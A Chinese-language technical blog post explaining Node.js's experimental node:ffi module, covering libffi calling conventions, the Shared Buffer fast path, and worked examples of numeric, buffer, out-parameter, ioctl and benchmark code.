编程 node:ffi 深度拆解:Node.js 憋了 17 年才敢交出的 FFI——从 libffi 调用约定到 Shared Buffer 快速路径的全链路实战

2026-08-17 19:20:20 +0800 CST views 4

node:ffi 深度拆解:Node.js 憋了 17 年才敢交出的 FFI——从 libffi 调用约定到 Shared Buffer 快速路径的全链路实战

有一类需求,几乎每个写了三年以上 Node.js 的人都撞过:手上有一个只提供 .so / .dll 的闭源库,或者一个只有 C 头文件的硬件 SDK,或者一段用 SIMD 手写过的数值内核。你需要在 Node 里调它。

传统答案是:写 C++ 插件,配 binding.gyp,装 node-gyp,装 Python,装 Visual Studio Build Tools 或 Xcode CLT,然后祈祷 CI 上的三个平台都能编译过。为了调一个 int add(int, int),你付出的是一套完整的原生构建工具链。

Node.js v26.1.0(2026 年 5 月 7 日发布,Antoine du Hamel 操刀)给出了第二个答案:node:ffi

import { dlopen, defineFFI } from 'node:ffi';

const ffi = defineFFI({
  add: { result: 'int', args: ['int', 'int'], library: 'libhello' },
});

console.log(ffi.add(3, 4)); // 7

四行代码,零编译,零 C++。运行时加一个 flag:

node --experimental-ffi app.mjs

这篇文章不打算只把 release note 翻译一遍。我想讲清楚三件更有意思的事:

  1. 为什么这个特性等了 17 年才落地——不是没人想做,而是每一次尝试都撞在同一堵墙上;
  2. FFI 在机器层面到底在干什么——理解调用约定(calling convention)和 libffi,你才知道哪些崩溃是必然的、哪些是可避免的;
  3. Shared Buffer 快速路径为什么是这个实现里最重要的一次优化——它决定了 node:ffi 是个玩具还是能进生产。

最后给一套可以直接抄走的生产决策框架和防御清单。


一、为什么 Node.js 憋了 17 年

1.1 N-API 路线的历史包袱

Node.js 从 0.x 时代就有原生插件(addon)机制,但那时候插件直接吃 V8 的 C++ API。V8 的 C++ API 不承诺 ABI 稳定,于是每次 Node 大版本升级,全网的原生模块集体爆炸。node-sass 的编译地狱就是这么来的。

2017 年 N-API(后来的 Node-API)落地,靠一层 C 语言 ABI 把 V8 隔离掉,模块编译一次可以跨多个 Node 大版本运行。这是巨大的进步,但 N-API 解决的是兼容性问题,没有解决门槛问题。你依然要:

  • 写 C/C++ 代码;
  • 维护 binding.gyp 或 CMake;
  • 在三个平台 × N 个架构上交叉编译,或者靠 prebuildify 预编译一堆二进制塞进 npm 包;
  • 处理 glibc / musl 差异(Alpine 容器的经典翻车点)。

对"我只想调一个函数"这个场景,N-API 是把大炮架在蚂蚁面前。

1.2 社区方案 node-ffi 的烂尾史

社区当然早就试过。node-ffi(2011 年前后)用纯 JS 声明函数签名,底层是一个基于 libffi 的原生插件。思路完全正确,结局却相当惨烈:

  • 它本身是原生插件,于是继承了原生插件的全部构建痛点——为了摆脱编译,你得先编译一个东西;
  • 它吃 V8 C++ API,Node 版本一升就挂;
  • 后继者 ffi-napi 迁到 N-API,但性能损失明显,且维护逐渐停滞;
  • 类型系统靠 refref-structref-array 一串外围包拼出来,版本矩阵一团乱麻。

很多团队的真实经历是:花两天配通了,半年后升级 Node 又炸一次,最后退回去手写 N-API 插件。

1.3 真正的技术阻碍:内核层面的三个难题

社区方案做不好,不是水平问题,是位置问题。FFI 想做扎实,必须待在运行时内核里,因为有三件事只有内核能做:

第一,GC 与原生内存的边界。 你把一个 Buffer 的指针传给 C 函数,C 函数异步持有它,然后 V8 把这块 backing store 移动或回收了——use-after-free。要正确处理,需要能操作 V8 的 BackingStore 生命周期、能挂 external memory 记账、能参与 GC 的 root 扫描。用户态插件只能靠 Persistent handle 硬撑,粗糙且易漏。

第二,同步调用与事件循环。 FFI 调用天然是同步阻塞的。一个跑 200ms 的 C 函数会把 event loop 钉死 200ms。真要做异步版本,你得能调度到 libuv 线程池,还要处理线程与 V8 isolate 的隔离——这需要内核级的 napi_async_work 或更底层的能力。

第三,跨边界的调用开销。 每次调用都要做类型编组(marshalling):JS number → C int32_t,JS string → const char*(还要考虑 UTF-8 转换和生命周期)。插件层做这件事必须走 N-API 的通用 getter/setter,一次调用可能是几十次函数指针跳转。只有内核能给数值类型开"快速路径",让参数直接落在栈上。

node:ffi 是第一次由核心团队正面处理这三件事的产物。


二、FFI 的第一性原理:调用约定与 libffi

很多人用 FFI 只记住"填个签名就能调",但一旦崩溃就完全无从下手。要 debug,必须知道机器层面发生了什么。

2.1 一次 C 函数调用在汇编层是什么

看这个 C 函数:

int add(int a, int b) { return a + b; }

在 x86-64 Linux/macOS(SysV AMD64 ABI)下,编译出来大致是:

add:
    lea eax, [rdi + rsi]   ; 第一参数在 rdi,第二参数在 rsi,返回值放 eax
    ret

关键信息全在 ABI 约定里,编译期就固化了:

平台 / ABI整数参数寄存器顺序浮点参数寄存器返回值
SysV AMD64(Linux/macOS x64)rdi, rsi, rdx, rcx, r8, r9xmm0–xmm7rax / xmm0
Windows x64rcx, rdx, r8, r9xmm0–xmm3rax / xmm0
AArch64 AAPCS64(ARM64)x0–x7v0–v7x0 / v0

再往下还有一堆细节:

  • 超出寄存器数量的参数压栈,且栈需要 16 字节对齐;
  • 结构体传参规则极其复杂:SysV 下 ≤16 字节的结构体可能被拆成两个寄存器(还要按 INTEGER/SSE 分类),>16 字节走内存;Windows x64 则是 >8 字节直接传指针;
  • 浮点与整数分开计数f(int, double, int) 里两个 int 走 rdi/rsi,double 走 xmm0;
  • 可变参数(varargs) 在 SysV 下要求 al 寄存器存放使用的向量寄存器个数——这就是为什么几乎所有 FFI 库对 printf 这类函数都支持得很差。

2.2 为什么"运行时动态构造调用"是个难题

编译型语言里,调用约定由编译器在编译期处理。而 FFI 的本质需求是:在运行时,根据一个字符串描述的签名,动态把参数放到正确的寄存器/栈位置,然后跳转。

这件事在 C 语言层面无法直接表达——C 没有"动态构造函数调用"的语法。唯一的做法是手写每个平台的汇编 trampoline。

这就是 libffi 存在的理由。它的核心 API 只有两步:

#include <ffi.h>

// 第一步:准备 Call InterFace(CIF),描述签名
ffi_type *arg_types[2] = { &ffi_type_sint, &ffi_type_sint };
ffi_cif cif;
ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_sint, arg_types);

// 第二步:把参数的"指针数组"交给 libffi,它负责按 ABI 摆放并跳转
int a = 3, b = 4, result;
void *arg_values[2] = { &a, &b };
ffi_call(&cif, FFI_FN(add), &result, arg_values);
// result == 7

注意 arg_values指针的数组——这是 libffi 的接口契约,也是理解性能问题的钥匙。

2.3 libffi 的接口契约埋下的性能地雷

ffi_call 要求每个参数都以指针形式传入。意味着调用前,参数值必须存在于某块可取地址的内存里。

node:ffi 而言,参数原本是 V8 的 JS 值——一个 int 在 V8 里可能是 Smi(小整数,直接编码在指针里,压根没有独立地址)。要满足 libffi,就必须:

  1. 分配一块临时缓冲区;
  2. 把 JS 值解包写入缓冲区;
  3. 构造指针数组;
  4. ffi_call
  5. 从返回缓冲区读出结果,转回 JS 值;
  6. 回收缓冲区。

**天真实现下,第 1 步和第 6 步每次调用都做一遍。**如果每次都新建一个 ArrayBuffer,那就是每次调用都触发一次 V8 堆分配 + 后续 GC 压力。对于"传两个 int 拿一个 int"这种纳秒级的 C 函数,编组开销能比函数本身贵两个数量级。

这正是 node:ffi 实现里 Shared Buffer 快速路径(PR #62918)要解决的问题——后面第四节详谈。

2.4 dlopen:符号是怎么找到的

另一半工作是符号解析,靠操作系统的动态链接器:

#include <dlfcn.h>

void *handle = dlopen("libhello.so", RTLD_LAZY);
void *sym = dlsym(handle, "add");   // 拿到函数地址
dlclose(handle);

三个平台的差异也是踩坑重灾区:

平台动态库后缀API搜索路径环境变量
Linux.sodlopen/dlsymLD_LIBRARY_PATH, /etc/ld.so.conf
macOS.dylibdlopen/dlsymDYLD_LIBRARY_PATH(SIP 下受限)
Windows.dllLoadLibraryW/GetProcAddressPATH, 应用目录

三个必知的坑:

  • C++ 符号被 mangle 过。 int add(int,int) 在 C++ 里的符号名是 _Z3addii 之类。FFI 只能可靠地调 C 链接的符号,所以 C++ 库必须提供 extern "C" 包装层。
  • macOS 的 SIP 会清掉子进程的 DYLD_* 环境变量,靠环境变量指路的方案在 macOS 上经常"本地能跑,CI 挂"。
  • Windows 的依赖是硬失败。 一个 DLL 依赖的另一个 DLL 找不到,LoadLibrary 只给你一个 error 126,不告诉你缺谁。用 dumpbin /dependents 或 Dependencies 工具查。

三、node:ffi 的 API 设计解剖

理解了底层,再看 API 设计就能看出取舍。

3.1 两个入口:dlopen 与 defineFFI

node:ffi 暴露的核心是两个函数(实验阶段,API 可能变动):

import { dlopen, defineFFI } from 'node:ffi';

defineFFI 是声明式的高层入口。 一次性描述一批符号,拿回一个可直接调用的对象:

const ffi = defineFFI({
  hello: { result: 'void', args: [],               library: 'libhello' },
  add:   { result: 'int',  args: ['int', 'int'],   library: 'libhello' },
});

ffi.hello();
const sum = ffi.add(3, 4);

设计上有两点值得注意:

  • library 是逐符号声明的,意味着一次 defineFFI 可以横跨多个动态库。对"从三个库里各拿两个函数"的场景很省事。
  • 签名在声明期就完成解析。 libffi 的 ffi_prep_cif 是相对昂贵的一步(要做 ABI 分类计算)。声明式 API 让 CIF 在 define 阶段构造一次并缓存,调用阶段只走 ffi_call。这是比"每次调用传签名"的设计快得多的关键。

dlopen 是命令式的低层入口,返回一个 DynamicLibrary 对象,适合需要精细控制生命周期、或库路径要运行时计算的场景。

3.2 Symbol.dispose:句柄泄漏的结构性解法

DynamicLibrary 实现了 Symbol.dispose(PR #62925),可以配合 TC39 显式资源管理(using 声明):

import { dlopen } from 'node:ffi';

function computeChecksum(buf) {
  using lib = dlopen('./libcrc.so');   // 作用域退出时自动 dlclose
  const crc32 = lib.symbol('crc32', { result: 'uint32', args: ['pointer', 'size_t'] });
  return crc32(buf, buf.byteLength);
}
// 离开函数:即使中途抛异常,也保证 dlclose 被调用

这个细节的价值被严重低估了。在老 ffi-napi 时代,动态库句柄泄漏是真实的生产事故来源——尤其是"按需加载插件库、加载失败时抛异常"的路径上,dlclose 几乎必然被漏掉。长跑进程里句柄慢慢涨,最后 dlopen 报 "too many open files"。

using 把这类问题从"靠自觉"变成"靠语法"。

3.3 FFIFunctionInfo 作为 BaseObject 子类:一个内部实现细节,为什么值得关心

Commit 记录里有一条:FFIFunctionInfo 被实现为 BaseObject 子类,并用 unique_ptr 管理 FFI 内存(PR #63071)。

BaseObject 是 Node.js 内核里所有"绑定到 JS 对象的原生资源"的基类。继承它意味着这个对象拿到三样东西:

  1. 纳入 Environment 的 cleanup 队列。 Node 退出或 worker 线程销毁时,析构会被有序调用,不会漏。
  2. 参与 heap snapshot。 这条对排查内存问题极其关键——你在 Chrome DevTools 里 dump 堆快照时,能看到这些 FFI 对象及其保留大小。老 ffi-napi 时代的原生内存对 profiler 完全不可见,只能靠 valgrind 猜。
  3. 正确的 weak/strong 引用语义。 什么时候可以被 GC、什么时候必须保活,交给内核统一的机制处理,而不是各家插件自己发明。

配合 unique_ptr,异常安全也得到保证。这些"不是特性的特性",恰恰是核心实现相对社区实现的真正优势。

3.4 类型系统与手动编组的边界

从公开信息看,类型名沿用 C 语义(void/int/uint32/double/pointer/size_t 等)。这里有个重要判断:

实验阶段的 node:ffi 不太可能提供完整的结构体/联合体 DSL。 原因就是第二节讲的——结构体传参的 ABI 分类规则在 SysV 和 Windows x64 下完全不同,做对它的工程量不小,且很容易变成 API 包袱。

所以实践中,结构体基本靠手动编组:把结构体在 JS 侧用 DataView 按 C 布局摆好,然后以 pointer 传进去。示例:

// C 侧
typedef struct { int32_t x; int32_t y; double weight; } Point;
double point_norm(const Point *p);

对应的 JS 侧手动布局(注意对齐!):

// Point 布局:
//   offset 0:  int32  x
//   offset 4:  int32  y
//   offset 8:  double weight   ← 8 字节对齐,前面刚好凑满 8 字节,无 padding
// sizeof(Point) == 16
const POINT_SIZE = 16;

function makePoint(x, y, weight) {
  const buf = new ArrayBuffer(POINT_SIZE);
  const dv = new DataView(buf);
  dv.setInt32(0, x, true);        // true = little-endian
  dv.setInt32(4, y, true);
  dv.setFloat64(8, weight, true);
  return buf;
}

对齐规则必须自己算,算错不报错,只是拿到垃圾数据。 这是 FFI 最阴险的一类 bug。我的经验是:与其手推,不如让 C 侧输出一份真值表,然后在 JS 侧写测试断言它。

// layout_probe.c —— 编译运行一次,把真实布局打出来
#include <stdio.h>
#include <stddef.h>
#include "mylib.h"

int main(void) {
  printf("sizeof(Point)=%zu\n", sizeof(Point));
  printf("offsetof(x)=%zu\n", offsetof(Point, x));
  printf("offsetof(y)=%zu\n", offsetof(Point, y));
  printf("offsetof(weight)=%zu\n", offsetof(Point, weight));
  return 0;
}

把输出固化成一个 JSON,JS 侧的布局常量从这个 JSON 生成。这个小工程量能省掉未来无数个通宵。


四、Shared Buffer 快速路径:决定这玩意能不能进生产

这是整个实现里我认为最有含量的一次优化(PR #62918)。

4.1 慢路径的成本模型

回顾 2.3 节,天真实现下一次 ffi.add(3, 4) 的完整流程:

JS 调用
  → 进入 C++ 绑定层
  → 分配参数缓冲区(可能是 ArrayBuffer,触发 V8 堆分配)
  → 逐个参数:V8 Value → C 值,写入缓冲区
  → 构造 void*[] 指针数组
  → ffi_call(真正的 C 调用,纳秒级)
  → 从返回缓冲区读值
  → C 值 → V8 Value
  → 缓冲区进入 GC 待回收
  → 返回 JS

真正干活的 ffi_call 可能只占总耗时的 1%–5%。剩下 95% 是编组和分配。更糟的是,高频调用会持续制造短命的 ArrayBuffer,把 V8 的 young generation 打满,触发密集的 Scavenge。你会看到一个诡异现象:FFI 调用越频繁,GC 时间占比越高,而 GC 时间和你的 C 代码毫无关系。

4.2 快速路径做了什么

针对数值类型和指针类型的参数与返回值,快速路径的核心思路是:

  1. 复用预分配的 scratch buffer。 CIF 在 defineFFI 阶段就确定了,参数总大小是静态已知的。那么参数缓冲区可以在 define 时一次性分配好,每次调用只是覆写内容——分配次数从 O(调用次数) 降到 O(1)。
  2. 对纯数值签名,参数可以直接落在 C++ 栈上。 栈分配的成本是一条 sub rsp, N 指令,接近零。
  3. 绕过通用的 V8 Value 拆箱路径。 对已知是 int32 的参数,走 Value::Int32Value() 甚至更直接的 Smi 快速检查,而不是通用的类型嗅探。

优化后的路径:

JS 调用
  → 进入 C++ 绑定层
  → 复用/栈上 scratch buffer(≈0 成本)
  → 逐个参数快速拆箱写入
  → ffi_call
  → 快速装箱返回
  → 返回 JS

没有堆分配,没有 GC 压力。 这是"玩具"和"能上生产"的分界线。

4.3 这条边界在哪:谁走不了快速路径

理解快速路径的适用边界,才知道怎么设计你的 API:

参数/返回类型是否走快速路径说明
int / uint32 / int64 / double / float固定大小,栈上传递
pointer / size_t本质是整数
Buffer / TypedArray 传指针✅(大概率)传 backing store 地址,无需拷贝
string(JS string → const char*需要 UTF-8 转码 + 分配 + 生命周期管理
结构体按值传递ABI 分类计算,走通用路径
回调函数(反向 FFI)需要 closure trampoline,见 6.5

工程结论非常明确:在热路径上,让 C 接口只收数值和指针。

这不是 node:ffi 独有的建议,而是所有 FFI 的通用法则。具体做法:

// ❌ 热路径上别这么设计
const char *process(const char *json_input);

// ✅ 改成这样
// 调用方预分配 out 缓冲区,函数只读写裸内存
int32_t process(const uint8_t *in, size_t in_len,
                uint8_t *out, size_t out_cap, size_t *out_len);

前者每次调用都要:JS string → UTF-8 分配 → C 侧 malloc 返回值 → JS 侧读 C 字符串 → 还得记得调 free。后者全程零分配,两个 Buffer 循环复用。


五、代码实战

下面是可以直接跑的完整例子。环境:Node.js ≥ 26.1.0。

5.1 准备一个 C 库

// libdemo.c
#include <stdint.h>
#include <string.h>
#include <math.h>

// 1. 纯数值:快速路径的典型
int32_t demo_add(int32_t a, int32_t b) { return a + b; }

double demo_hypot(double a, double b) { return sqrt(a * a + b * b); }

// 2. 缓冲区就地处理:零拷贝的典型
//    对 buf 做 XOR 加扰,返回处理字节数
int64_t demo_scramble(uint8_t *buf, size_t len, uint8_t key) {
  for (size_t i = 0; i < len; i++) buf[i] ^= key;
  return (int64_t)len;
}

// 3. 输出参数模式:避免 C 侧 malloc
int32_t demo_greet(const uint8_t *name, size_t name_len,
                   uint8_t *out, size_t out_cap, size_t *out_len) {
  const char *prefix = "hello, ";
  size_t plen = strlen(prefix);
  if (plen + name_len > out_cap) return -1;   // 缓冲区不够
  memcpy(out, prefix, plen);
  memcpy(out + plen, name, name_len);
  *out_len = plen + name_len;
  return 0;
}

// 4. 一个会崩的函数,用于演示 FFI 的危险性
int32_t demo_deref(const int32_t *p) { return *p; }

编译(三平台):

# Linux
gcc -O2 -shared -fPIC -o libdemo.so libdemo.c -lm

# macOS
clang -O2 -dynamiclib -o libdemo.dylib libdemo.c

# Windows(MSVC,需要 __declspec(dllexport) 或 .def 文件)
cl /O2 /LD libdemo.c /link /OUT:demo.dll

Windows 上导出符号需要额外声明,跨平台写法是加一个宏:

#ifdef _WIN32
  #define DEMO_API __declspec(dllexport)
#else
  #define DEMO_API __attribute__((visibility("default")))
#endif

DEMO_API int32_t demo_add(int32_t a, int32_t b) { return a + b; }

5.2 第一层:数值调用

// 01-numeric.mjs
import { defineFFI } from 'node:ffi';
import { platform } from 'node:process';

// 跨平台库名解析
const LIB = platform === 'win32' ? './demo.dll'
          : platform === 'darwin' ? './libdemo.dylib'
          : './libdemo.so';

const ffi = defineFFI({
  demo_add:   { result: 'int32',  args: ['int32', 'int32'],   library: LIB },
  demo_hypot: { result: 'double', args: ['double', 'double'], library: LIB },
});

console.log(ffi.demo_add(3, 4));          // 7
console.log(ffi.demo_hypot(3, 4));        // 5

运行:

node --experimental-ffi 01-numeric.mjs

第一个坑:类型必须精确。 如果你把 demo_hypotargs 写成 ['int32','int32'],不会报错,但结果是垃圾——因为 3 会被塞进 rdi 而 C 函数从 xmm0 读取。这就是文档里反复强调的 "错误的函数签名让结果不可预测"。

我的做法是:签名信息不允许手写第二遍。 从头文件生成,或至少集中在一个模块里,配一套单元测试用已知输入验证每个符号。

// signatures.mjs —— 单一真源
export const SIGNATURES = {
  demo_add:   { result: 'int32',  args: ['int32', 'int32'] },
  demo_hypot: { result: 'double', args: ['double', 'double'] },
  demo_scramble: { result: 'int64', args: ['pointer', 'size_t', 'uint8'] },
  demo_greet: {
    result: 'int32',
    args: ['pointer', 'size_t', 'pointer', 'size_t', 'pointer'],
  },
};

// signatures.test.mjs —— 每个符号都有一条冒烟断言
import { strictEqual } from 'node:assert';
import { test } from 'node:test';
import { lib } from './lib.mjs';

test('demo_add 签名正确', () => strictEqual(lib.demo_add(3, 4), 7));
test('demo_hypot 签名正确', () => strictEqual(lib.demo_hypot(3, 4), 5));

这套测试的作用不是测 C 代码,是测你的签名声明。任何一个类型写错,它立刻炸——这比在生产里拿到静默的错误数值好一万倍。

5.3 第二层:零拷贝缓冲区

这是 FFI 真正能带来性能收益的场景。

// 02-buffer.mjs
import { defineFFI } from 'node:ffi';
import { LIB } from './libname.mjs';

const ffi = defineFFI({
  demo_scramble: {
    result: 'int64',
    args: ['pointer', 'size_t', 'uint8'],
    library: LIB,
  },
});

// 预分配一次,反复复用 —— 这是关键
const SCRATCH = Buffer.allocUnsafe(64 * 1024);

function scrambleInPlace(data, key) {
  data.copy(SCRATCH);                      // 或者直接把 data 传进去,见下
  ffi.demo_scramble(SCRATCH, data.length, key);
  return SCRATCH.subarray(0, data.length);
}

// 更好的做法:直接传调用方的 Buffer,完全零拷贝
function scrambleZeroCopy(buf, key) {
  const n = ffi.demo_scramble(buf, buf.length, key);
  return Number(n);
}

const payload = Buffer.from('the quick brown fox');
scrambleZeroCopy(payload, 0x5a);
console.log(payload.toString('hex'));
scrambleZeroCopy(payload, 0x5a);           // XOR 两次还原
console.log(payload.toString('utf8'));     // the quick brown fox

关于 Buffer 传指针的三条铁律:

  1. C 函数必须在调用返回前用完这块内存。 如果 C 侧把指针存下来异步用,V8 可能已经移动/回收了 backing store。这是最经典的 use-after-free。
  2. 不要传 subarray 后又假设偏移为 0。 Buffer.subarray() 共享底层内存但有 byteOffset。传给 FFI 时确认实现是按 byteOffset 修正过的地址,还是原始 backing store 起点——这个差异会让你读到相邻数据。稳妥做法是热路径上只传完整 Buffer,需要子区间就用显式 offset/len 参数。
  3. Buffer.allocUnsafe 的内容是脏的。 复用 scratch buffer 时,C 函数如果只写了前 N 字节,后面是上一次的残留。所有"输出长度"必须由 C 侧显式回传,不能靠找 \0

5.4 第三层:输出参数与字符串

demo_greet 演示了正确的字符串处理姿势——不让 C 侧 malloc

// 03-outparam.mjs
import { defineFFI } from 'node:ffi';
import { LIB } from './libname.mjs';

const ffi = defineFFI({
  demo_greet: {
    result: 'int32',
    args: ['pointer', 'size_t', 'pointer', 'size_t', 'pointer'],
    library: LIB,
  },
});

const OUT      = Buffer.allocUnsafe(4096);
const OUT_LEN  = Buffer.alloc(8);          // size_t* 的落点,8 字节

function greet(name) {
  const nameBuf = Buffer.from(name, 'utf8');
  const rc = ffi.demo_greet(
    nameBuf, nameBuf.length,
    OUT, OUT.length,
    OUT_LEN,
  );
  if (rc !== 0) throw new Error(`demo_greet failed: rc=${rc}`);

  const len = Number(OUT_LEN.readBigUInt64LE(0));
  return OUT.toString('utf8', 0, len);     // 只读有效区间
}

console.log(greet('程序员茄子'));   // hello, 程序员茄子

几个值得说明的点:

  • size_t* 的接收缓冲区必须是 8 字节(64 位平台)。如果你按 4 字节分配,C 写入时会越界踩坏相邻内存——而且往往不会立刻崩,而是几秒后在完全无关的地方崩。这类 bug 的定位成本极高。
  • OUT_LENBuffer.alloc(零填充)而非 allocUnsafe,因为万一 C 侧只写了低 4 字节,高位残留会让你读出天文数字。
  • 返回值一律先检查 rc。C 库的错误约定五花八门(0 表示成功 / 负数表示错误 / errno),把它包在一层 JS 里统一转成异常。

如果你不得不对接一个"返回 malloc 出来的 char*"的库,那么必须成对声明 free:

const ffi = defineFFI({
  legacy_render: { result: 'pointer', args: ['pointer'], library: LIB },
  legacy_free:   { result: 'void',    args: ['pointer'], library: LIB },
});

function render(input) {
  const ptr = ffi.legacy_render(Buffer.from(input + '\0'));
  if (!ptr) throw new Error('legacy_render returned NULL');
  try {
    return readCString(ptr);   // 需要按实现提供的方式从裸指针读串
  } finally {
    ffi.legacy_free(ptr);      // 必须在 finally 里,否则异常路径泄漏
  }
}

try/finally 不是风格问题,是内存泄漏的唯一防线。

5.5 反向 FFI:回调的深水区

C 库需要你传一个函数指针(比如事件回调、比较函数、进度通知),这叫反向 FFI。它比正向调用难一个数量级。

底层机制是 libffi 的 closure:libffi 在可执行内存页上生成一段 trampoline,这段代码接住 C 侧按 ABI 传来的寄存器参数,重新打包成 void*[],然后调用你的宿主函数。

在 Node.js 里,这引出三个硬问题:

问题一:线程亲和性。 如果 C 库从自己的线程里调回调,而 JS 只能在 event loop 线程执行,你必须做线程切换(napi_threadsafe_function 那一套)。这意味着回调不可能是同步返回值的——但很多 C API(比如 qsort 的比较函数)恰恰要求同步返回。

问题二:重入。 回调里如果又调 FFI,就形成 JS → C → JS → C 的嵌套栈。任何一层的异常处理不当,都会让 C 侧的清理代码被跳过。

问题三:可执行内存。 libffi closure 需要 W^X 内存页。在启用了严格内存保护的环境(macOS Hardened Runtime、部分容器 seccomp 策略、iOS)可能直接失败。

实践建议: 如果目标 C API 允许,优先用轮询替代回调

// ❌ 尽量避免:注册 JS 回调
// lib.set_event_handler(jsCallback);

// ✅ 优先:C 侧写入环形缓冲,JS 侧定期取
const RING = Buffer.allocUnsafe(1 << 20);
const ffi = defineFFI({
  lib_poll_events: {
    result: 'int32',
    args: ['pointer', 'size_t'],   // 返回本次写入的事件数
    library: LIB,
  },
});

setInterval(() => {
  const n = ffi.lib_poll_events(RING, RING.length);
  for (let i = 0; i < n; i++) decodeEvent(RING, i * EVENT_SIZE);
}, 5);

代价是延迟从"即时"变成"最多一个轮询周期"。但换来的是:无线程切换、无可执行内存、无重入、可控的批处理。对绝大多数业务场景,5ms 延迟完全可接受,而稳定性提升是决定性的。

5.6 调系统 API:ioctl 与 Win32

FFI 最不可替代的场景是系统调用。举一个实际例子——读取 Linux 网卡的硬件地址:

// 04-ioctl.mjs  (Linux only)
import { defineFFI } from 'node:ffi';
import { openSync, closeSync } from 'node:fs';

const ffi = defineFFI({
  ioctl:  { result: 'int32', args: ['int32', 'uint64', 'pointer'], library: 'libc.so.6' },
  socket: { result: 'int32', args: ['int32', 'int32', 'int32'],    library: 'libc.so.6' },
  close:  { result: 'int32', args: ['int32'],                      library: 'libc.so.6' },
});

const AF_INET = 2, SOCK_DGRAM = 2;
const SIOCGIFHWADDR = 0x8927;

// struct ifreq 布局(Linux x86-64):
//   char ifr_name[16]
//   union { struct sockaddr ifr_hwaddr; ... }  ← offset 16
//     sockaddr: uint16 sa_family; char sa_data[14]
//   sizeof(struct ifreq) == 40
const IFREQ_SIZE = 40;

function getMac(ifname) {
  const fd = ffi.socket(AF_INET, SOCK_DGRAM, 0);
  if (fd < 0) throw new Error('socket() failed');
  try {
    const req = Buffer.alloc(IFREQ_SIZE);
    req.write(ifname, 0, 'ascii');          // ifr_name
    const rc = ffi.ioctl(fd, BigInt(SIOCGIFHWADDR), req);
    if (rc < 0) throw new Error(`ioctl failed for ${ifname}`);
    // ifr_hwaddr 在 offset 16,sa_family 占 2 字节,MAC 从 18 开始
    return [...req.subarray(18, 24)]
      .map(b => b.toString(16).padStart(2, '0')).join(':');
  } finally {
    ffi.close(fd);
  }
}

console.log(getMac('eth0'));   // e.g. 02:42:ac:11:00:02

这段代码在 N-API 时代需要一个完整的 C++ 插件项目。现在是 30 行 JS。

但请注意里面的每一个硬编码常量。 SIOCGIFHWADDR = 0x8927IFREQ_SIZE = 40、MAC 偏移 18——这些全都是平台特定的。换到 32 位 ARM 或 musl libc,可能就不对了。这就是 FFI 的本质代价:你把编译期的类型检查换成了运行期的祈祷。

缓解办法只有一个:用 C 探针生成常量,别手抄。

// consts_probe.c
#include <stdio.h>
#include <stddef.h>
#include <sys/ioctl.h>
#include <net/if.h>

int main(void) {
  printf("{\n");
  printf("  \"SIOCGIFHWADDR\": %lu,\n", (unsigned long)SIOCGIFHWADDR);
  printf("  \"IFREQ_SIZE\": %zu,\n", sizeof(struct ifreq));
  printf("  \"HWADDR_OFFSET\": %zu\n", offsetof(struct ifreq, ifr_hwaddr));
  printf("}\n");
  return 0;
}

把它做成构建步骤(postinstall 或 CI 的一个 job),输出的 JSON 直接被 JS 引用。这样常量永远和目标平台的真实头文件一致。

5.7 封装一层:把危险收敛到边界内

生产代码不应该到处散落 ffi.xxx() 调用。正确做法是包一层严格的门面。

// safe-demo.ts —— 唯一允许触碰 FFI 的模块
import { defineFFI } from 'node:ffi';

const raw = defineFFI({ /* ...签名... */ });

/** 所有入口都做校验,把非法输入拦在 JS 侧 */
export function scramble(buf: Buffer, key: number): void {
  // 1. 类型与范围校验 —— C 侧不会帮你检查
  if (!Buffer.isBuffer(buf)) throw new TypeError('buf must be a Buffer');
  if (!Number.isInteger(key) || key < 0 || key > 255) {
    throw new RangeError('key must be uint8');
  }
  if (buf.length === 0) return;             // 避免传空指针
  if (buf.length > MAX_LEN) throw new RangeError('buf too large');

  // 2. 调用
  const n = raw.demo_scramble(buf, buf.length, key);

  // 3. 后置断言 —— C 返回值不可信,验一遍
  if (Number(n) !== buf.length) {
    throw new Error(`unexpected scramble length: ${n} != ${buf.length}`);
  }
}

三层结构:前置校验 → 调用 → 后置断言

为什么后置断言重要?因为 C 函数的返回值是你判断"它是否按你以为的方式工作"的唯一信号。签名错了、库版本不匹配、ABI 变了——这些都会表现为返回值异常。加一条断言,把静默的数据损坏变成一个显式的异常。

架构原则:让 FFI 模块成为整个代码库唯一可以崩进程的地方,然后把它的 API 表面积压到最小。 这跟 unsafe 块在 Rust 里的定位完全一样。


六、性能:怎么测,以及什么时候 FFI 反而更慢

6.1 一个诚实的基准测试

网上大量 FFI 性能对比是错的,典型错误有三种:没预热(JIT 没优化)、测了 GC 的账、用了不公平的 workload。下面这个测试尽量避开:

// bench.mjs
import { defineFFI } from 'node:ffi';
import { LIB } from './libname.mjs';

const ffi = defineFFI({
  demo_add:      { result: 'int32', args: ['int32', 'int32'],           library: LIB },
  demo_scramble: { result: 'int64', args: ['pointer', 'size_t', 'uint8'], library: LIB },
});

function jsAdd(a, b) { return (a + b) | 0; }

function jsScramble(buf, key) {
  for (let i = 0; i < buf.length; i++) buf[i] ^= key;
  return buf.length;
}

function bench(name, fn, iters) {
  // 预热:让 V8 完成 JIT 分层优化
  for (let i = 0; i < 20_000; i++) fn(i);
  global.gc?.();

  const t0 = process.hrtime.bigint();
  for (let i = 0; i < iters; i++) fn(i);
  const t1 = process.hrtime.bigint();

  const nsPerOp = Number(t1 - t0) / iters;
  console.log(`${name.padEnd(30)} ${nsPerOp.toFixed(1).padStart(10)} ns/op`);
}

// 场景 A:极轻量函数 —— 测的是跨边界开销本身
bench('js add',   (i) => jsAdd(i, i + 1),       5_000_000);
bench('ffi add',  (i) => ffi.demo_add(i, i + 1), 5_000_000);

// 场景 B:64KB 缓冲区处理 —— 测的是真实计算收益
const BUF = Buffer.allocUnsafe(64 * 1024);
bench('js scramble 64KB',  () => jsScramble(BUF, 0x5a), 20_000);
bench('ffi scramble 64KB', () => ffi.demo_scramble(BUF, BUF.length, 0x5a), 20_000);

运行:

node --experimental-ffi --expose-gc bench.mjs

6.2 结果的定性规律(比绝对数字更重要)

具体数字随 CPU、Node 构建、libffi 版本浮动,但定性规律是稳定的,值得记住:

场景 A(add):FFI 一定输给纯 JS,而且输得很惨。

原因很简单:jsAdd 会被 V8 的 TurboFan 完全内联,最终只剩一条 lea 指令,甚至整个循环被优化掉。而 ffi.demo_add 每次都要真的跨越 JS→C++→libffi→C 四层边界。即使有 Shared Buffer 快速路径,跨边界的固定成本也在几十纳秒量级,而 JS 侧的加法是亚纳秒

这条规律的推论极其重要:不要用 FFI 做细粒度调用。

